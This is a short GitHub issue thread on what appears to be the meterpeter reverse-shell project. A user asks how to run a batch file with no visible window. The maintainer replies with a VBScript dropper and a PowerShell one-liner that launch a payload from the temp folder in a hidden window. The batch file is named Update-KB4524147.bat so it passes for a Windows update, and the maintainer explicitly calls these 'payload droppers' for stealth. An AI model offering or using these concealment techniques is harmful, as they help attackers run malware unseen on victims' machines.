meterpeter icon indicating copy to clipboard operation
meterpeter copied to clipboard

Show CMD popup when running bat file.

Open merlin123h opened this issue 3 years ago • 1 comments

Hi. When i want to run .bat file, it shows cmd window that is displayed for at least 3-5 seconds. After that, the window has been closed automatically. I really do not want any page or popup to be displayed. One of these popups attached and you can see it. Please guide me how to run the bat file fully silently without any popup or window openings. Thanks.

1

merlin123h avatar Jan 31 '21 06:01 merlin123h

If you want stealth ... Then use a VBS script insted of BATCH scripts as dropper .. The follow demo box (vbs script) executes Update-KB4524147.bat in a hidden teminal prompt..

Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run "cmd /c start %TMP%\Update-KB4524147.bat", 0, True

Or this powershell cmdline can also execute Update-KB4524147.bat in a hidden teminal prompt..

powershell -WindowStyle Hidden Start-Process -FilePath $env:TMP\Update-KB4524147.bat

:octocat: working with meterpeter payload droppers :octocat:

r00t-3xp10it avatar Feb 11 '21 07:02 r00t-3xp10it